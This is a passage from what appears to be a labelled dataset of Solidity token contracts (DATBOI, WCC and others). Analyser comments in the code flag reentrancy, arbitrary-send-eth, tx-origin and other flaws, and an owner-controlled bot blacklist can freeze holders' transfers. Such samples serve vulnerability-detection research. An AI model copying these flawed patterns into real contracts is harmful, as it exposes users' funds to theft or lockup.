{\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5fb31fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5fb31fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e93526f): Turnleft.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e93526f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 311b426): Turnleft.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 311b426: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e017577): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e017577: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5fb31fc\n\t\t// reentrancy-eth | ID: e017577\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5fb31fc\n\t\t// unused-return | ID: 311b426\n\t\t// reentrancy-eth | ID: e017577\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5fb31fc\n\t\t// unused-return | ID: e93526f\n\t\t// reentrancy-eth | ID: e017577\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5fb31fc\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e017577\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10702.sol",
"size_bytes": 20113,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DATBOI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03409b5): DATBOI._taxWallet should be immutable \n\t// Recommendation for 03409b5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7287a1): DATBOI._initialBuyTax should be constant \n\t// Recommendation for f7287a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 20f590c): DATBOI._initialSellTax should be constant \n\t// Recommendation for 20f590c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 929fd07): DATBOI._reduceBuyTaxAt should be constant \n\t// Recommendation for 929fd07: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3bb9c9): DATBOI._reduceSellTaxAt should be constant \n\t// Recommendation for e3bb9c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0d95cc): DATBOI._preventSwapBefore should be constant \n\t// Recommendation for b0d95cc: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"DATBOI\";\n\n string private constant _symbol = unicode\"DATBOI\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4303dd): DATBOI._taxSwapThreshold should be constant \n\t// Recommendation for e4303dd: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc217a1): DATBOI._maxTaxSwap should be constant \n\t// Recommendation for dc217a1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c695d71): DATBOI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c695d71: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 727a86c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 727a86c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dc41c93): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dc41c93: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 727a86c\n\t\t// reentrancy-benign | ID: dc41c93\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 727a86c\n\t\t// reentrancy-benign | ID: dc41c93\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2a1df4f): DATBOI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2a1df4f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dc41c93\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 727a86c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ed64651): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ed64651: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fbf99ba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fbf99ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ed64651\n\t\t\t\t// reentrancy-eth | ID: fbf99ba\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ed64651\n\t\t\t\t\t// reentrancy-eth | ID: fbf99ba\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: fbf99ba\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: fbf99ba\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fbf99ba\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ed64651\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fbf99ba\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fbf99ba\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ed64651\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 727a86c\n\t\t// reentrancy-events | ID: ed64651\n\t\t// reentrancy-benign | ID: dc41c93\n\t\t// reentrancy-eth | ID: fbf99ba\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 075ebd3): DATBOI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 075ebd3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 727a86c\n\t\t// reentrancy-events | ID: ed64651\n\t\t// reentrancy-eth | ID: fbf99ba\n\t\t// arbitrary-send-eth | ID: 075ebd3\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9db95dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9db95dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 79881aa): DATBOI.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 79881aa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7e52647): DATBOI.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7e52647: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5c48259): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5c48259: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9db95dc\n\t\t// reentrancy-eth | ID: 5c48259\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9db95dc\n\t\t// unused-return | ID: 79881aa\n\t\t// reentrancy-eth | ID: 5c48259\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9db95dc\n\t\t// unused-return | ID: 7e52647\n\t\t// reentrancy-eth | ID: 5c48259\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9db95dc\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5c48259\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10703.sol",
"size_bytes": 19507,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WCC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 60e9950): WCC._taxWallet should be immutable \n\t// Recommendation for 60e9950: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 767439e): WCC._initialBuyTax should be constant \n\t// Recommendation for 767439e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f8e257): WCC._initialSellTax should be constant \n\t// Recommendation for 8f8e257: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b499c91): WCC._reduceBuyTaxAt should be constant \n\t// Recommendation for b499c91: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5fc7d3): WCC._reduceSellTaxAt should be constant \n\t// Recommendation for e5fc7d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 371f987): WCC._preventSwapBefore should be constant \n\t// Recommendation for 371f987: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Worlds Crypto Capital\";\n\n string private constant _symbol = unicode\"WCC\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b000a4f): WCC._taxSwapThreshold should be constant \n\t// Recommendation for b000a4f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 007f2bf): WCC._maxTaxSwap should be constant \n\t// Recommendation for 007f2bf: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private transferDelayEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8dbe77d): WCC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8dbe77d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cd3ad3c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cd3ad3c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ba89087): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ba89087: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cd3ad3c\n\t\t// reentrancy-benign | ID: ba89087\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cd3ad3c\n\t\t// reentrancy-benign | ID: ba89087\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e055031): WCC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e055031: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ba89087\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cd3ad3c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e43a316): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e43a316: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 6b2840f): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 6b2840f: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b88380e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b88380e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != 